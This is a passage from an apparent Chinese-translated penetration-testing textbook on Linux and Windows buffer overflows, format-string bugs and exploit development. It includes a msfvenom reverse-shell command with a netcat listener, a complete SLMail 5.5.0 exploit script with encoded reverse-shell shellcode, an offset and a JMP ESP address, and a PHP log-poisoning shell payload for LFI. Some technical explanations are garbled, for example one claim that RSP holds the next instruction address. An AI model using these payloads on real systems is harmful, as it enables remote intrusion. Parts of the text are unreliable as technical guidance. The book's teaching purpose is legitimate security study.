前面的屏幕截图为我们提供了更详细的信息,并告诉我们应用程序在输入长度为411421之间崩溃。

Linux 和汇编代码

在本节中,我们将学习有关汇编语言的知识。目标是将 C 代码转换为汇编代码,并查看执行过程。我们将加载和使用的示例 C 代码如下:

现在,让我们从命令行运行这个程序,作为./buff,并尝试将这个可执行程序附加到 Evans 调试器:

现在,我们通过 GUI 将我们运行的代码附加到启动的 Evans 调试器,方法是转到文件 | 附加选项。我们将可执行文件附加如下:

当我们点击OK时,对象文件将被附加到调试器,并且我们将能够看到与之关联的汇编级别代码,如下所示:

窗口的右上部分显示了被测试应用程序的汇编代码。左上部分表示寄存器及其相应的内容。汇编代码下方的部分显示了用户在控制台上输入数据时将调用的方法,即我们的读取系统调用。屏幕底部的部分表示内存转储,其中以十六进制和 ASCII 格式显示了内存的内容。让我们看看当我们指定一个小于 400 个字符的值时,应用程序是如何干净地退出的:

现在,让我们输入一个大于 400 字节的值,看看我们的寄存器会发生什么变化:

当我们传递这个输入时,我们会得到以下状态:

从前面的屏幕截图可以看出,我们传递的值被写入寄存器 RSP。对于 64 位架构,寄存器 RSP 保存下一条要执行的指令的地址,由于值从arr缓冲区溢出,一些值被写入寄存器 RSP。程序获取了 RSP 的内容以执行下一条指令,由于它到达了aaaaaaaaaa,程序崩溃了,因为这是一个无效的地址。应该注意的是,如前面的屏幕截图所示,0X6161616161aaaaaaaaaa的十六进制等价物。

Linux 中的堆栈缓冲区溢出

大多数漏洞是由开发人员没有考虑到的条件导致的。最常见的漏洞是堆栈缓冲区溢出。这意味着我们定义了某种不足以存储所需数据的缓冲区。当输入由最终用户控制时,这就成为了一个问题,因为这意味着它可以被利用。

在软件中,堆栈缓冲区溢出或堆栈缓冲区溢出发生在程序写入程序调用堆栈上的内存地址(正如我们所知,每个函数都有自己的执行堆栈或分配一个堆栈内存来执行)超出预期数据结构的范围时。这通常是一个固定长度的缓冲区。堆栈缓冲区溢出几乎总是导致堆栈上相邻数据的损坏,在溢出是由错误触发时,这通常会导致程序崩溃或操作不正确。

假设我们有一个可以容纳两个字节数据的内存单元a,并且在这个内存单元a旁边有另一个内存单元b,它也可以容纳两个字节的数据。假设这两个内存单元都放置在相邻的堆栈上。如果a给出超过两个字节的数据,数据将实际上溢出并被写入b,这是程序员所不期望的。缓冲区溢出利用了这个过程。

指令堆栈指针是指向下一条要执行的指令的地址的指针。因此,每当执行任何指令时,IP 的内容都会得到更新。当调用方法并创建该方法的激活记录时,执行以下步骤:

  1. 创建激活记录或堆栈帧。

  2. 当前指令指针(CIP)和当前环境指针(CEP)(来自调用者)被保存在堆栈帧上作为返回点。

  3. CEP 被分配为堆栈帧的地址。

  4. CIP 被分配为代码段中第一条指令的地址。

  5. 执行从 CIP 中的地址继续。

当堆栈执行完毕并且没有更多的指令或命令可以执行时,执行以下步骤:

  1. CEP 和 CIP 的旧值从堆栈帧的返回点位置中检索出来。

  2. 使用 CEP 的值,我们跳回到调用者函数。

  3. 使用 CIP 的值,我们从最后一条指令中恢复处理。

默认情况下,堆栈如下所示:

现在可以看到返回地址位于堆栈底部,实际上包含了旧的 CEP 的值。我们称之为堆栈帧指针。在技术术语中,当缓冲区的值被覆盖并溢出时,它会完全填满与堆栈的本地变量空间相关的所有内存,然后被写入堆栈的返回地址部分,导致缓冲区溢出。当缓冲区上的所有内存空间被占用时,按照惯例,返回点的内容被提取以进行跳转回调用者。然而,由于地址被用户传递的数据覆盖,这导致了无效的内存位置,因此导致分段错误。

这就是有趣的地方。应该注意的是,用户传递的数据和堆栈的本地变量实际上是作为寄存器实现的,因此我们传递的值将存储在堆栈上的某些寄存器中。现在,由于用户传递的任何输入都被写入某些寄存器,最终被写入返回点,如果我们能够在位置12345的寄存器X中注入 shell 代码会怎么样?由于我们能够写入堆栈的返回点,如果我们在返回点写入12345会怎样?这将导致控制转移到位置12345,这将导致执行我们的 shell 代码。这就是缓冲区溢出如何被利用来授予我们受害者机器的 shell。现在我们对缓冲区溢出有了更好的理解,让我们在下一节中看看它的实际应用。

利用缓冲区溢出

接下来,让我们看一个容易受到缓冲区溢出攻击的代码片段。让我们看看如何模糊测试和利用这个漏洞来获取对系统的 shell 访问权限。我们在之前的部分学习了如何使用 Evans 调试器。在本节中,我们将看到如何使用gdb来利用缓冲区溢出。

下面是一个简单的 C 代码片段,询问用户的姓名。根据终端提供的值,它用问候消息“嘿<用户名>”来问候用户:

让我们使用以下命令编译应用程序,禁用堆栈保护:

gcc -fno-stack-protector -z execstack -o bufferoverflow bufferoverflow.c 

这将创建一个名为bufferoverflow的目标文件,可以按以下方式运行:

现在我们的下一步是生成一个会导致应用程序崩溃的有效负载。我们可以使用 Python 来实现这一点:

python -c "print 'A'*500" > aaa

上述命令将创建一个包含 500 个A的文本文件。让我们将其作为输入提供给我们的代码,看看是否会崩溃:

正如我们之前学到的,计算机通过寄存器来管理栈。寄存器充当内存中的专用位置,用于在处理数据时存储数据。大多数寄存器临时存储处理的值。在 64 位架构中,寄存器堆栈指针RSP)和寄存器基址指针RBP)尤为重要。

程序使用 RSP 寄存器来记住栈中的位置。RSP 寄存器将根据栈中添加或移除的任务而上下移动。RBP 寄存器用于记住栈的末尾位置。

通常,RSP 寄存器将指示程序从哪里继续执行。这包括跳入函数、跳出函数等。这就是为什么攻击者的目标是控制 RSP 指向程序执行的位置。

现在,让我们尝试使用gdb运行相同的代码,找到崩溃发生时 RSP 寄存器的值:

如图所示,我们只需发出run命令并将其传递给创建的输入文件,程序就会崩溃。让我们试着了解崩溃时所有寄存器的状态:

info registers 显示的两列告诉我们寄存器的地址,以十六进制和十进制格式显示。我们知道这里感兴趣的寄存器是 RSP,因为 RSP 将保存下一个要执行的指令的地址,由于它被损坏并被字符串 A 覆盖,导致了崩溃。让我们检查崩溃时 RSP 的内容。让我们还检查其他寄存器的内容,看看我们的输入字符串aaaaa写在了哪里。我们检查其他寄存器的原因是确定我们可以放置有效负载的寄存器:

从上面的截图中,我们可以验证输入字符串 aaaa,其十六进制等价物为0x414141,被放置在 RSP 中,导致崩溃。有趣的是,我们还看到该字符串被放置在寄存器r9r11中,使它们成为我们利用代码的潜在候选者。但在那之前,我们需要找出我们的 500 个字符输入中的缓冲区 RSP 何时被覆盖。如果我们得到该偏移量的确切位置,我们将设计我们的有效负载以在该偏移量处放置跳转指令,并尝试跳转到寄存器r9r11,在那里我们将放置我们的 shell 代码。为了找出确切的偏移量,我们将使用 Metasploit 的 Ruby 模块生成一组唯一的字符组合:

现在,由于我们将这个唯一生成的字符串放在一个名为unique的文件中,让我们重新运行应用程序,这次将unique文件内容传递给程序:

现在,在这一点上,寄存器 RSP 的内容是0x6f41316f,这是十六进制。ASCII 等价物是o1Ao

由于寄存器 RSP 的内容是小端格式,我们实际上需要将0x6f31416f转换为其 ASCII 等价物。必须注意的是,IBM 的 370 大型机,大多数RISC架构的计算机和 Motorola 微处理器使用大端方法。另一方面,英特尔处理器(CPU)和 DEC Alphas 以及至少一些在它们上运行的程序是小端的。

我们将再次使用 Metasploit Ruby 模块来获取这个唯一值的偏移量,以找到我们有效负载的确切位置。之后,我们应该放置跳转指令,使 RSP 跳转到我们选择的位置:

因此,我们知道在地址424之后写入的下一个八个字节将被写入我们的rsp寄存器。让我们尝试写入bbbb,看看是否是这种情况。我们生成的有效负载将如下所示:424*a + 4*b + 72*c。要使用的确切命令是这个:

python -c "print 'A'*424+ 'b'*4 + 'C'*72" > abc

现在,鉴于我们已经验证了我们可以控制寄存器 RSP,让我们尝试攻击 r9 寄存器,以容纳我们的 shell 代码。但在这样做之前,重要的是我们知道 r9 寄存器的位置。在下面的屏幕截图中,我们可以看到 r9 寄存器的内存位置是0x7fffffffded0,但每次程序重新加载时都会发生变化:

有两种方法可以解决这个问题。第一种方法是通过在操作系统级别禁用动态地址更改来避免它,可以在以下屏幕截图中看到。另一种方法是找到具有jmp r9命令的任何指令的地址我们可以在程序的整个汇编代码中搜索jmp r9,然后将位置的地址放入我们的寄存器 RSP,从而避免动态地址更改。我将把这留给你自己去想出并做。在本节中,让我们通过执行以下操作来禁用动态地址加载:

现在,由于我们正在使用 Kali 机器,让我们生成一个将放置在我们最终的利用代码中的反向 shell 有效负载:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.250.147 LPORT=4444  -e x64/xor ‐b "\x00\x0a\x0d\x20" -f py

为了找出正在测试的底层软件的常见坏字符,最成功的方法是反复试验。我通常用来找出常见的坏字符的方法是将所有唯一字符发送到应用程序,然后使用调试器,检查寄存器级别发生了哪些字符变化。发生变化的字符可以被编码和避免。

上述命令将产生以下屏幕截图:

让我们创建一个名为exp_buf.py的 Python 文件,并将获取的 shell 代码放入该文件中。必须注意的是,由于我们正在对有效负载进行编码,我们还需要一些字节在开头进行解码,因此我们将在开头指定一些nop字符。我们还将在端口4444上设置一个 netcat 监听器,以查看我们是否从应用程序获得了反向 shell。记住 r9 寄存器的地址;我们也将使用它:

上述 Python 代码打印了我们需要的有效负载,以通过我们创建的易受攻击的缓冲区溢出代码获取反向 shell。让我们将这个有效负载输入到一个名为buf_exp的文件中,我们将在edb中使用它来利用代码。输入以下命令来运行代码:

python exp_buf.py > exp_buf

现在让我们在端口 4444 上设置一个 netcat 监听器,它将监听反向载荷,这将反过来给我们 shell:

nc -nlvp 4444 

现在,用gdb运行应用程序,并尝试利用它,如下所示:

哎呀!代码成功地生成了一个新的 shell 进程。让我们检查一下我们的 netcat 监听器得到了什么:

因此可以验证,我们成功地使用 Python 和gdb创建了一个反向 shell。

Linux 中的堆缓冲区溢出

应该注意的是,导致堆栈缓冲区溢出的变量、缓冲区或存储的范围被限制在声明它的函数(局部变量)中,并且其范围在函数内。由于我们知道函数是在堆栈上执行的,这个缺陷导致了堆栈缓冲区溢出。

在堆缓冲区溢出的情况下,影响会更大一些,因为我们试图利用的变量不是存储在堆栈上,而是存储在堆上。在同一方法中声明的所有程序变量都在堆栈中分配内存。然而,在运行时动态分配内存的变量不能放在堆栈中,而是放在堆中。因此,当程序通过malloccalloc调用为变量分配内存时,实际上是在堆上分配内存,而在堆缓冲区溢出的情况下,这些内存就会溢出或被利用。让我们看看这是如何工作的:

现在继续编译代码,禁用内置保护,如所示。请注意,-fno-stack-protector-z execstack是用于禁用堆栈保护并使其可执行的命令。

gcc -fno-stack-protector -z execstack heapBufferOverflow.c -o heapBufferOverflow

现在我们已经编译了应用程序,让我们用会导致代码执行的输入类型来运行它,如下所示:

前面的截图给出了堆缓冲区溢出的起点。我们将留给读者去发现如何进一步利用它并从中获得一个反向 shell。所采用的方法与我们先前使用的方法非常相似。

字符串格式漏洞

无控制的格式字符串利用可以用于使程序崩溃或执行有害代码。问题源于在执行格式化的某些 C 函数中,如printf()中,使用未经检查的用户输入作为字符串参数。恶意用户可以使用%s%x等格式标记,从调用堆栈或可能是内存中的其他位置打印数据。我们还可以使用%n格式标记,在堆栈上存储的地址上写入格式化的字节数,这会命令printf()和类似函数将任意数据写入任意位置。

让我们尝试通过以下一段示例代码进一步理解这一点:

现在,继续编译代码,禁用内置保护,如所示:

 gcc formatString.c -o formatString

请注意,print 函数将第一个参数作为格式字符串(%s%c%d等)。在前面的情况下,argv[1]可以用作格式字符串,并打印任何内存位置的内容。前面的代码是有漏洞的。然而,如果它是按照下面所示的方式编写的,那么漏洞就不会存在:

现在我们已经编译了应用程序,让我们用会导致代码执行的输入类型来运行它,如下所示:

让我们用格式字符串漏洞来破坏代码,如下所示:

前面的截图给出了一个起点;同样,我们将留给读者去探索如何进一步利用这一点。建议您尝试我们之前详细讨论过的相同方法。

总结

在本章中,我们讨论了 Linux 中的逆向工程。我们还学习了使用 Python 进行模糊测试。我们在 Linux 调试器(edbgdb)的上下文中查看了汇编语言和助记符。我们详细讨论了堆栈缓冲区溢出,并了解了堆缓冲区溢出和字符串格式漏洞的概念。我强烈建议花费大量时间来研究这些想法,并在不同的操作系统版本和易受攻击的应用程序上进行探索。到本章结束时,您应该对 Linux 环境中的缓冲区溢出漏洞和逆向工程有一个相当好的理解。

在下一章中,我们将讨论 Windows 环境中的逆向工程和缓冲区溢出漏洞。我们将演示如何利用真实应用程序进行利用。

问题

  1. 我们如何自动化利用缓冲区溢出漏洞的过程?

  2. 我们可以采取什么措施来避免操作系统施加的高级保护,比如禁用堆栈上的代码执行?

  3. 我们如何处理地址随机化?

进一步阅读

第十二章:逆向工程 Windows 应用程序

在本章中,我们将看看如何对 Windows 应用程序进行逆向工程。在本章中,我们将涵盖以下主题:

  • Fuzzing Windows 应用程序

  • Windows 和汇编

  • Windows 和堆缓冲区溢出

  • Windows 和堆缓冲区溢出

  • Windows 中的格式化字符串漏洞

调试器

让我们来看看我们将在本章中涵盖的 Windows 调试器:

  • Immunity debugger:这是一个在 Windows 环境中运行并调试 Windows 应用程序的最著名的调试器之一。它可以从www.immunityinc.com/products/debugger/下载,并且作为可执行文件直接运行:

Fuzzing Windows 应用程序

正如我们在上一章中讨论的那样,Fuzzing 是一种用于发现应用程序中的错误的技术,当应用程序遇到未预料到的输入时,会导致应用程序崩溃。

为了开始这个练习,让我们设置 VirtualBox,并使用 Windows 作为操作系统。在实验室的 Windows 7 机器上,让我们继续安装名为vulnserver的易受攻击的软件。如果你在 Google 上搜索vulnserver download,你会得到易受攻击的服务器的链接。

现在让我们在 VirtualBox 中加载vulnserver并运行它,如下所示:

现在让我们尝试将 Linux 主机连接到 Windows 机器,以连接到vul服务器。

我们可以用于 Fuzzing 的工具是 zzuf,它可以与基于 Linux 的系统一起使用。要检查工具是否可用,请运行以下命令:

让我们看看当我们输入一个长字符串时是否会崩溃。我们可以通过将aaaaaa字符串传递给代码来检查这一点,并且可以看到它不会崩溃。另一种方法是运行help命令,我们传递help命令并返回到终端,这样我们可以递归地在循环中执行它。如下所示:

应该注意,如果我们希望使用echo执行命令,我们可以将该命令放在反引号<command>中,该命令的输出将附加到echo打印字符串,例如:echo 'hello' python -c 'print "a"*5'``。

我们将使用这种技术来崩溃目标服务器,因为执行的命令的输出将附加到echo的输出,并且echo的输出通过 Netcat 作为输入发送到服务器。我们将执行以下代码,看看易受攻击的服务器是否会因为一个非常长的字符串而崩溃:

我们可以清楚地看到,在执行上述命令时,程序打印出UNKNOWN COMMAND。基本上,这里发生的是aaaaaa被分割成多行,并且输入被发送到 Netcat,如下所示:echo hello aaaaaaaaaaaaaaaaaaa | nc …。在下一行,剩下的aaaa被打印出来,这就引发了UNKNOWN COMMAND错误。

让我们尝试将打印输出重定向到一些文本文件,然后使用zzuf来实际崩溃或模糊目标易受攻击的软件。

Zzuf 是一个工具,它以大字符串作为输入,例如aaaaaaaaaaaaaaaaaaaaaaaaa。它在字符串的各个位置随机放置特殊字符,并产生输出,例如?aaaa@??aaaaaaaaaaa$$。我们可以指定百分比来修改输入的多少,例如:

让我们使用生成的文件fuzz.txt和 zzuf,看看结果如何:

我们可以按照以下方式指定百分比:

请注意,vul服务器的HELP命令不容易受攻击,而是GMON ./:/命令。我们不希望 zzuf 工具更改命令的GMON ./:/部分,因此我们使用zzuf指定-b(字节选项)告诉它跳过初始的 12 个字节,如下面的屏幕截图所示:

让我们尝试将此文件内容作为输入提供给vul服务器,看看会发生什么:

可以看到,zzuf 工具生成的输出使vul服务器崩溃了。请注意,zzuf 工具生成的特殊字符是常用于模糊测试的众所周知的攻击有效载荷字符:

我们现在将看到如何使用脚本来尝试使vul服务器崩溃。我们还将在 Windows 机器上使用 Olly 调试器,以查看代码在哪里中断。

以管理员身份启动 Olly 调试器,如下所示:

我们现在将使用 Olly 调试器附加正在运行的服务器。转到文件|附加。这将打开所有正在运行的进程。我们必须转到 vulnserver 并将其附加。一旦单击附加,我们会得到以下内容:

现在,让我们回到 Linux 机器并启动我们创建的脚本:

当我们执行python fuzz.py命令时,Python 控制台上没有任何输出。

然而,在 Olly 调试器中附加的进程中,右下角显示一个黄色消息,上面写着暂停,这意味着附加的进程/服务器的执行已暂停:

让我们点击播放按钮。这会执行一些代码,并在另一个断点处暂停:

应该注意的是,在屏幕底部写着Access violation,写入位置为017Dxxxx。这意味着遇到了异常,程序崩溃了:

Windows 和汇编

在本节中,我们将学习汇编语言。我们的目标是将 C 代码转换为汇编语言,并查看发生了什么。

以下是我们将加载和使用的示例 C 代码,以便学习汇编语言:

我们将在 immunity 调试器中运行这段代码,将其编译为名为Bufferoverflow.exe的文件。让我们首先用 immunity 调试器打开它:

请注意,右上角有一个寄存器部分。第一个寄存器EAX是累加器。在计算机的 CPU 中,累加器是存储中间算术和逻辑结果的寄存器。在左上角,我们有实际的汇编代码,而在左下角,我们得到程序使用的内存转储。右下角包含我们正在检查的程序的堆栈区域。

如果我们滚动到位置00401290,我们可以看到PUSH命令。我们还可以看到 ASCII 字符串Functionfunction,然后是整数十六进制值。这是逆序的,因为这里的处理器是使用小端记法的英特尔处理器,即低序字节先出现:

前面的屏幕截图显示了我们的functionFunction函数的堆栈/代码部分,该部分的每个语句代表我们原始代码的一个语句。

如果我们再往下滚动一点,我们将看到实际的主方法和从那里进行的函数调用。如下所示。在突出显示的区域是对实际functionFunction函数的函数调用:

主函数返回0,这正如汇编级语言所示,我们将0移动到 EAX 寄存器中。同样,在上一张截图中,我们将值1移动到 EAX 中。

现在让我们转到调试并点击参数。从这里,我们将向汇编代码提供命令行参数,以便我们可以在调试器中运行而不会出现任何错误:

然后,我们需要设置某些断点,以更彻底地了解调试器、程序控制和顺序流。我们将在主方法的开头设置一个断点,如下所示:

断点在以下截图中突出显示:

请注意,一旦我们运行应用程序,当它遇到这一行时,代码实际上会停止。这就是所谓的断点:

在屏幕右下方,我们看到的区域是堆栈区域。正如我们所知,每个方法都有一个专用的执行区域,其中存储所有本地参数并执行代码。这就是我们定义为堆栈的区域。堆栈的第一条语句指向程序控制在成功执行整个方法块后应该返回的位置。请注意,屏幕顶部有四个选项,分别是跨过跨入跟踪进入跟踪覆盖。随着我们的进展,我们将探索这些选项。让我们继续调用 step into,并看看堆栈和调试器会发生什么:

调用 step into 函数实际上将控制权转移到调试器上的下一行。在这种情况下,不同的值被添加到程序变量中。请注意,以下一行将调用functionFunction函数:

请注意,从主函数到functionFunction函数的函数调用将发生在主函数的004012EA内存地址处。当调用函数时,分配给functionFunction的堆栈必须包含返回地址,以便一旦完成执行,它就知道自己应该返回到哪里:

可以看到右侧的 EIP 寄存器保存着00401EA地址。请注意,在右下方,语句本身的地址是堆栈上的0060FD0。让我们点击下一步,看看会发生什么:

可以看到,一旦调用函数,它的堆栈就会更新,并且指示代码在执行后应该返回到004012EF地址。004012EF地址是主函数functionFunction函数的下一条指令地址。由于 IP 包含下一条要执行的指令的地址,它现在包含00401290地址,这是Functionfunction函数的起始地址。一旦完成执行,堆栈顶部的内容将被弹出(004012EF),IP 将被更新为此地址,以便程序执行从上次停止的地方恢复。

点击两次下一步后,我们看到在我们的functionFunction方法中将整数值分配给变量的第一条语句将被执行。最后,当我们达到functionFunction方法的返回语句或结束时,我们将看到堆栈顶部将包含下面屏幕截图中显示的返回地址:

我们可以点击下一步直到程序退出主方法。这是程序在正常情况下执行的方式,我们称之为行为执行。在下一节中,我们将看到如何使程序行为异常。

让我们看看当我们通过提供超出预期长度的参数来溢出缓冲区时,汇编语言的代码级别会发生什么。我们将在以下代码中添加超过九个字符:

现在我们将保持在主方法中的断点,就像之前一样。当我们运行代码时,我们将到达断点,如下所示:

在下一行中,我们将把值112233复制到局部变量中。然后我们将调用Functionfunction函数,在这里bufferoverflow实际发生,当我们对大小为10的本地缓冲区执行strcpy时:

如前面的屏幕截图所示,我们传递的字符串被放置在寄存器中,并将传递给functionFunction。突出显示行后的行是实际的函数调用:

可以看到在突出显示的行中,正在执行的操作是strcpy(Localstring2,param),这意味着 EAX 寄存器的值将被移动到位置SS:[EBP +8]。一旦执行前面的命令,我们将注意到我们给出的大值将加载到堆栈中。我们可以在下面的屏幕截图的右下角看到这一点:

现在,将执行的下一行将是当前突出显示的strcpy函数之后的strcpy函数。我们可以在右下角看到strcpy函数的堆栈:

strcpy函数中有一些缓冲区和内存位置。当我们将值写入长度为 10 的缓冲区时,缓冲区溢出,剩余的值会溢出并写入堆栈的其他内存位置。换句话说,堆栈中的其他内存位置将被溢出的内容覆盖。在这种情况下,一旦执行完成,包含堆栈返回地址的内存位置将被覆盖,因此代码将以异常结束。这实际上是发生在幕后的情况,如下面的屏幕截图所示。在屏幕截图的底部,我们可以看到访问冲突异常:

在 Windows 中利用缓冲区溢出

在 SLMail 5.5.0 邮件服务器软件中存在已知的缓冲区溢出漏洞。让我们从以下网址下载应用程序(https://slmail.software.informer.com/5.5/)并通过双击exe安装程序在 Windows 中安装它。安装完成后,在 Windows 7 虚拟机中运行它,如下所示:

现在,让我们将我们运行的程序附加到一个 immunity 调试器,并使用一个简单的 Python 模糊器来使程序崩溃,如下所示:

以下屏幕截图显示了一旦我们点击附加后加载的代码:

让我们使用 Python 编写的简单模糊器来尝试破坏这段代码:

现在,让我们运行代码,看看它是如何破坏电子邮件应用程序的,以及在崩溃时缓冲区的值是多少:

可以看到,在第27002900字节之间发生了访问冲突异常。在这一点上,EIP 指令寄存器的值被传递的字符串A覆盖,其十六进制值为41414141

为了找出2900字节内的有效负载的确切位置,我们将使用 Metasploit 的generate.rb模块,如下所示:

让我们将这个唯一生成的字符串放在一段 Python 代码中,以便为我们重新运行利用程序,以便我们可以看到崩溃时 EIP 内的唯一值:

让我们重新启动 Windows 中的服务,并再次将其附加到调试器上。最后,我们将运行我们的 Python 代码来利用它,如下所示:

可以清楚地看到,在崩溃时,EIP 寄存器内的值为39694438。这将是告诉我们有效负载偏移量的地址,可以按照这里所示进行计算:

可以看到,导致崩溃的确切偏移量是2606。在崩溃时,所有传递的值都存储在 ESP 寄存器中,这使得 ESP 成为保存我们有效负载的潜在候选者。如果我们发送多达 2600 字节的有效负载,然后尝试在 EIP 中注入一条指令,使其跳转到 ESP,那么将执行有效负载。有两种方法可以做到这一点。我们知道 EIP 保存着要执行的下一条指令的地址,正如所见,崩溃时 ESP 寄存器的地址为01C8A128。直觉上会想到的是简单地在 2600 字节之后放置这个地址,但由于地址空间布局随机化(ASLR),这是一种用于操作系统的内存保护过程,通过使系统可执行文件加载到内存中的位置随机化,防范缓冲区溢出攻击,这种直接的技术将不起作用。

相反,让我们寻找一个内存地址,其中将有一个指令,比如JMP ESP。由于这个位置在堆栈之外,每当程序崩溃时,它都不会受到 ASLR 的影响。我们将使用 mona 脚本,它作为 immunity 调试器的 Python 模块随附,并用于在整个 DLL 进程中搜索任何指令,这在我们的情况下将是jmp esp的十六进制等价物。mona 脚本可以从github.com/corelan/mona下载,并可以直接放置在 Windows 的以下路径中:C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

让我们使用 Metasploit 的 Ruby 脚本计算jmp esp的十六进制等价物,如下所示:

因此,我们将在 immunity 调试器和 mona 脚本中搜索\xff\xe4,以找到jmp位置,如下所示:

我们得到了很多命中,但让我们选择第一个,即0x5f4a358f。下一步将是生成利用代码,在我们的机器上给我们一个反向 shell,并将该利用代码放在一个自定义的 Python 脚本中,以将有效负载发送到服务器。应当注意,在生成利用代码时,我们将对其进行编码并转义某些不良字符,以确保其正常工作:

有了前面生成的有效负载,让我们创建一个 Python 脚本来引发利用。我们将使用之前发现的jmp esp的位置,通过mona脚本。还应该注意,由于有效负载已编码,将用于解码的几个字节,还将用于填充的几个字节:

#!/usr/bin/python    
import socket        
buffer=["A"]    
counter=100
buf =  ""
buf += "\xd9\xc8\xbd\xad\x9f\x5d\x89\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x52\x31\x6a\x17\x03\x6a\x17\x83\x6f\x9b\xbf"
buf += "\x7c\x93\x4c\xbd\x7f\x6b\x8d\xa2\xf6\x8e\xbc\xe2\x6d"
buf += "\xdb\xef\xd2\xe6\x89\x03\x98\xab\x39\x97\xec\x63\x4e"
buf += "\x10\x5a\x52\x61\xa1\xf7\xa6\xe0\x21\x0a\xfb\xc2\x18"
buf += "\xc5\x0e\x03\x5c\x38\xe2\x51\x35\x36\x51\x45\x32\x02"
buf += "\x6a\xee\x08\x82\xea\x13\xd8\xa5\xdb\x82\x52\xfc\xfb"
buf += "\x25\xb6\x74\xb2\x3d\xdb\xb1\x0c\xb6\x2f\x4d\x8f\x1e"
buf += "\x7e\xae\x3c\x5f\x4e\x5d\x3c\x98\x69\xbe\x4b\xd0\x89"
buf += "\x43\x4c\x27\xf3\x9f\xd9\xb3\x53\x6b\x79\x1f\x65\xb8"
buf += "\x1c\xd4\x69\x75\x6a\xb2\x6d\x88\xbf\xc9\x8a\x01\x3e"
buf += "\x1d\x1b\x51\x65\xb9\x47\x01\x04\x98\x2d\xe4\x39\xfa"
buf += "\x8d\x59\x9c\x71\x23\x8d\xad\xd8\x2c\x62\x9c\xe2\xac"
buf += "\xec\x97\x91\x9e\xb3\x03\x3d\x93\x3c\x8a\xba\xd4\x16"
buf += "\x6a\x54\x2b\x99\x8b\x7d\xe8\xcd\xdb\x15\xd9\x6d\xb0"
buf += "\xe5\xe6\xbb\x17\xb5\x48\x14\xd8\x65\x29\xc4\xb0\x6f"
buf += "\xa6\x3b\xa0\x90\x6c\x54\x4b\x6b\xe7\x9b\x24\x89\x67"
buf += "\x73\x37\x6d\x99\xd8\xbe\x8b\xf3\xf0\x96\x04\x6c\x68"
buf += "\xb3\xde\x0d\x75\x69\x9b\x0e\xfd\x9e\x5c\xc0\xf6\xeb"
buf += "\x4e\xb5\xf6\xa1\x2c\x10\x08\x1c\x58\xfe\x9b\xfb\x98"
buf += "\x89\x87\x53\xcf\xde\x76\xaa\x85\xf2\x21\x04\xbb\x0e"
buf += "\xb7\x6f\x7f\xd5\x04\x71\x7e\x98\x31\x55\x90\x64\xb9"
buf += "\xd1\xc4\x38\xec\x8f\xb2\xfe\x46\x7e\x6c\xa9\x35\x28"
buf += "\xf8\x2c\x76\xeb\x7e\x31\x53\x9d\x9e\x80\x0a\xd8\xa1"
buf += "\x2d\xdb\xec\xda\x53\x7b\x12\x31\xd0\x8b\x59\x1b\x71"
buf += "\x04\x04\xce\xc3\x49\xb7\x25\x07\x74\x34\xcf\xf8\x83"
buf += "\x24\xba\xfd\xc8\xe2\x57\x8c\x41\x87\x57\x23\x61\x82"
buffer='A'*2606 + '\x8f\x35\x4a\x5f' + "\x90"*8 +buf

if 1:    
   print"Fuzzing PASS with %s bytes" %    len(string)    
   s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    
   connect=s.connect(('192.168.250.158',110))    
   data=s.recv(1024)    
   s.send('USER root \r\n')        
   data=s.recv(1024)
   print str(data)    
   s.send('PASS    ' + buffer + '\r\n')    
   #data=s.recv(1024)
   #print str(data)    
   print "done"
   #s.send('QUIT\r\n')        
   s.close()    

现在,当我们将服务或进程的运行实例附加到我们的调试器并执行我们创建的脚本时,我们就可以从具有bufferoverflow的受害者机器获得反向 shell。如图所示:

这就是我们如何利用 Windows 中的缓冲区溢出漏洞。

如果我们继续在本地 Windows 环境中编译程序(在上一章的堆缓冲区溢出部分中给出),并使用一个长参数运行它,我们就可以利用 Windows 中的堆缓冲区溢出。

总结

我们在这里展示了与上一章相同的步骤,但在 Windows 环境中。 Windows 和 Linux 环境之间的概念基本相同,但堆栈和寄存器的实现可能会有所不同。因此,重要的是要熟练掌握两种环境中的利用。在下一章中,我们将开发 Python 和 Ruby 中的利用以扩展 Metasploit 框架的功能。

问题

  1. 我们如何自动化利用 Windows 中的缓冲区溢出漏洞的过程?

  2. 我们可以采取什么措施来避免操作系统施加的高级保护,例如在 Windows 中禁用堆栈上的代码执行?

  3. 为什么 Windows 和 Red Hat 中的寄存器不同?

进一步阅读

第十三章:漏洞开发

在本章中,我们将探讨利用程序开发。我们将了解如何使用 Python 开发自定义利用程序。虽然我们的主要重点将是在 Python 中开发利用程序,但我们还将看到如何使用 Ruby 开发利用程序,以扩展 Metasploit 框架的功能。

利用程序只是一段代码,编写以利用漏洞,以便可以在不同环境中重用相同的代码。编写利用程序的目标是确保代码稳定,并且将给予攻击者他们所需的控制。应该注意,利用程序是针对特定类型的漏洞开发的。首先了解漏洞和利用它所需的手动步骤非常重要。一旦我们对此有清晰的理解,我们就可以继续自动化整个过程并开发一个利用程序。

本章将涵盖以下主题:

  • 在基于 Web 的漏洞上编写脚本利用。

  • 开发一个 Metasploit 模块来利用网络服务。

  • 编码 shell 代码以避免检测。

在基于 Web 的漏洞上编写脚本利用

在本节中,我们将使用Damn Vulnerable Web Application (DVWA)的一个示例。我们将为本地和远程文件包含编写一个利用程序,并确保通过执行利用程序获得反向 shell。正如我们所知,DVWA 有许多漏洞,其中包括本地文件包含 (LFI)和远程文件包含 (RFI)。

本地文件包含是一种通常在 PHP 应用程序中发现的漏洞类别,是由于对include()require()函数的不正确使用而引入的。include()函数用于在当前 PHP 文件中包含一个 PHP 模块,从它被调用的地方。有时开发人员会从 Web 应用程序中以输入参数的形式获取要包含的文件的名称,这可能会被攻击者滥用。攻击者可以调整输入参数,并读取系统文件,这些文件可能是他们无法访问的,比如/etc/passwd。相同的漏洞可以被升级以从服务器获取反向 shell。如果攻击者能够读取服务器的日志文件,通常位于/var/log/apache2/access.log路径下,并且攻击者发送一个伪造的GET请求,比如http://myvulsite.com?id=<?php shell_exec($_GET['cmd']) ?>,应用程序通常会返回一个错误消息,说请求的 URL/资源不存在。然而,这将被记录在服务器的access.log文件中。借助 LFI,如果攻击者在随后的请求中尝试加载访问日志文件,比如http://myvulsite.com/admin.php?page=/var/log/appache2/access.log?cmd=ifconfig%00,它会加载日志文件,其中包含一个 PHP 代码片段。这将由 PHP 服务器执行。由于攻击者正在指定 CMD 参数,这将在 shell 中执行,导致在服务器上执行意外的代码。RFI 漏洞更容易执行。让我们通过启动 DVWA 